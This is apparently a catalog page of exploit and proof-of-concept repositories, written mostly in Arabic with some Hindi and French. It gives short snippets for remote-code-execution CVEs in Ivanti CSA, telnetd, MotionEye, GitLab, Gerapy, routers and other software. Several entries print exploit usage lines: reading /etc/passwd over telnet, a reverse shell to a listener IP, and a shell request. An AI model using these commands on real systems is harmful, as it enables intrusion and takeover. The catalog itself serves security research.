CVE-2021-44529

CVE-2021-44529 الصفحة الرئيسية للبائع: https://www.ivanti.com/ رابط البرنامج: https://forums.ivanti.com/s/article/Customer-Update-Cloud-Service-Appliance-4-6 الإصدار: CSA 4.6 4.5 - نهاية الدعم أغسطس 2021 قم بالتنفيذ python3 exploit.py مثال python3 exploit.py 'https://x.x.x.x' 'ls' LDMGdeploy.pdf...

CVE-2026-24061

CVE-2026-24061 - تجاوز المصادقة في telnetd ما الأمر حقن وسائط في telnetd من GNU InetUtils. الإصدارات من 1.9.3 إلى 2.7. درجة الخطورة CVSS 9.8. مدرج في CISA KEV منذ 26.01.2026، أي أنه يُستغل بنشاط في البرية. الفكرة كلها تكمن في أن telnetd يأخذ قيمة متغير البيئة USER من العميل عبر NEW-ENVIRON RFC 15...

CVE-2025-60787

CVE-2025-60787 CVE-2025-60787 Poc - RCE - MotionEye = 0.43.1b4 الرابط الأصلي: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter MotionEye RCE عبر تجاوز التحقق من جهة العميل الملخص أثناء اختبار أمني لمثيل MotionEye يعمل داخل Docker، لوحظ أنه يمكن تجاوز التحقق من جهة العميل...

CVE-2026-24516-DigitalOcean-RCE

CVE-2026-24516-DigitalOcean-RCE ثغرة RCE حرجة بدون مصادقة CVSS 10.0 في وكيل DigitalOcean Droplet حتى الإصدار v1.3.2 عبر حقن الأوامر. CVE-2026-24516: ثغرة RCE بدون مصادقة بصلاحيات الجذر في وكيل DigitalOcean Droplet نظرة عامة تم اكتشاف ثغرة حرجة في حقن الأوامر في وكيل DigitalOcean Droplet جميع...

CVE-2023-4450-Attack

CVE-2023-4450-Attack JimuReport के CVE-2023-4450 भेद्यता पर हमला करने के लिए स्वचालित उपकरण परिचय यह उपकरण केवल सुरक्षा परीक्षण के लिए उपयोग किया जा सकता है, अवैध उद्देश्यों के लिए उपयोग न करें! उपयोग java -jar CVE-2023-4450-Attack.jar तीन कार्य प्रदान करता है: कमांड निष्पादन, CMD/बर्फ बिच्छू...

CVE-2026-20841

CVE-2026-20841 هذا المحتوى يتوافق مع جزء مما يتم تقديمه من خلال التقرير الشهري لمشتركي PatchPoint. نظرة عامة كشفت Microsoft عن تصحيح لثغرة RCE في Notepad في فبراير 2026. الثغرة هي ثغرة حقن أوامر Command Injection تحدث في Notepad، ويتم تشغيلها عند النقر على رابط مع زر Control في عرض Markdown في...

CVE-2021-22205-gitlab

تأثير الثغرة تم اكتشاف مشكلة في GitLab CE/EE تؤثر على جميع الإصدارات بدءًا من 11.9. لم يكن GitLab يتحقق بشكل صحيح من ملفات الصور التي يتم تمريرها إلى محلل ملفات، مما أدى إلى تنفيذ أوامر عن بُعد. المنتج المتأثر Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 البيئة export...

CVE-2024-12856

CVE-2024-12856 هذا استغلال Exploit لطرازات راوتر Four-Faith F3x24 وF3x36 للحصول على شل عكسي Reverse Shell. "تتأثر طرازات راوتر Four-Faith F3x24 وF3x36 بثغرة حقن أوامر نظام التشغيل OS. يسمح إصدار البرنامج الثابت 2.0 على الأقل للمهاجمين المصادق عليهم وعن بُعد بتنفيذ أوامر نظام تشغيل عشوائية عبر HTT...

CVE-2026-24061-POC

CVE-2026-24061-POC echo "cat /etc/passwd; id;" | python poc2.py TARGET 23 1. Délai de connexion Emplacement : ligne 25 dans la méthode establishconnection python self.connection.settimeout10 -- Délai de connexion réglable Objectif : contrôle la durée d'attente pour la connexion TCP initiale vers...

ranger

ranger A tool to support security professionals access and interact with remote Microsoft Windows based systems. This project was conceptualized with the thought process, we did not invent the bow or the arrow, just a more efficient way of using it. Ranger is a command-line driven attack and...

CVE-2026-25589-25588-25243-23631-23479-REDIS

دليل فحص ومعالجة 5 ثغرات CVE في Redis حتى 2026.05.08 تاريخ الإصدار: 2026-05-08 المؤلف: TonyCao [email protected] المصدر: Redis Security Advisory الفهرس 1. نظرة عامة 2. الإصدارات المتأثرة 3. تفاصيل كل CVE CVE-2026-23479 — Use-after-free في Unblock Client Flow CVE-2026-25243 — وصول غير صالح...

CVE-2026-25546-godot-mcp-0.1.1-OS-Command-Injection

CVE-2026-25546 PoC - حقن أوامر نظام التشغيل في godot-mcp المؤلف: Mohammed Idrees Banyamer GitHub: mbanyamer التاريخ: 04 فبراير 2026 عنوان الثغرة godot-mcp 0.1.1 - حقن أوامر نظام التشغيل عبر projectPath CVE CVE-2026-25546 CWE CWE-78 عدم تحييد العناصر الخاصة المستخدمة في أمر نظام التشغيل - حقن أوام...

CVE-2026-25512-PoC-Group-Office-Authenticated-RCE

CVE-2026-25512 PoC – Group-Office ثغرة تنفيذ أوامر عن بُعد RCE عبر معالج TNEF المؤلف: محمد إدريس بن يامر الحساب: @banyamersecurity GitHub: mbanyamer التاريخ: 04 فبراير 2026 عنوان الاستغلال Group-Office Intermesh 26.0.4 – تنفيذ أوامر عن بُعد RCE عبر معالج مرفقات TNEF CVE CVE-2026-25512 CWE CWE-78...

CVE-2026-25130-Cybersecurity-AI-CAI-Framework-0.5.10

CVE-2026-25130 – Preuve de concept PoC d'injection d'arguments / injection de commandes OS dans le framework Cybersecurity AI CAI Auteur : Mohammed Idrees Banyamer Pays : Jordanie GitHub : https://github.com/yourusername Instagram : @banyamersecurity Vue d'ensemble Ce dépôt contient une preuve de...

CVE-2026-22812

CVE-2026-22812 CVE-2026-22812 - قالب Nuclei لاستغلال ثغرة RCE غير المصادق عليها في OpenCode للمسح الضوئي. طلب burp suite POST /session HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 X11; Linux x8664 Content-Type: application/json Content-Length: 2 POST /session/"id"/shell HTTP/1.1 Host:...

CVE-2026-0834

CVE-2026-0834 PoC Contournement de l'authentification du protocole de débogage des appareils TP-Link TDDP CVE-2026-0834 Présentation Une vulnérabilité dans le service TDDP TP-Link Device Debug Protocol permet à des attaquants distants non authentifiés sur le réseau local d'exécuter des commandes...

CVE-2021-45897

CVE-2021-45897 PoC pour CVE-2021-45897 alias SCRMBT-180 - RCE via les modèles d'e-mails authentifié uniquement dans SuiteCRM = 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2021-45897 Exemple d'utilisation : .venv ➜ CVE-2021-45897 git:main ✗...

cve-2021-32849

cve-2021-32849 cve-2021-32849 تنفيذ أوامر في Gerapy طريقة الاستخدام قم أولاً بتشغيل nc للاستماع، ثم استخدم exp للهجوم python3 CVE-2021-32849.py -u http://192.168.1.69:8000 -U admin -P admin@123 -r 10.10.16.34 -p 8888 -c id...

CVE-2021-43857

CVE-2021-43857 CVE-2021-43857gerapy命令执行 إخلاء المسؤولية البرنامج النصي مخصص للتعلم والمرجعية فقط، يرجى عدم مهاجمة مواقع الآخرين بشكل خبيث، في حال ارتكاب أي مخالفات قانونية، يتحمل المستخدم كامل المسؤولية عن جميع العواقب التقنية بريئة ولا علاقة لها بالمؤلف استخدام البرنامج النصي يعني الموافقة على م...

sandmap

sandmap Description • How To Use • Command Line • Configuration • Requirements • Other • Contributing • License • Wiki Description sandmap is a tool supporting network and system reconnaissance using the massive Nmap engine. It provides a user-friendly interface, automates and speeds up scanning...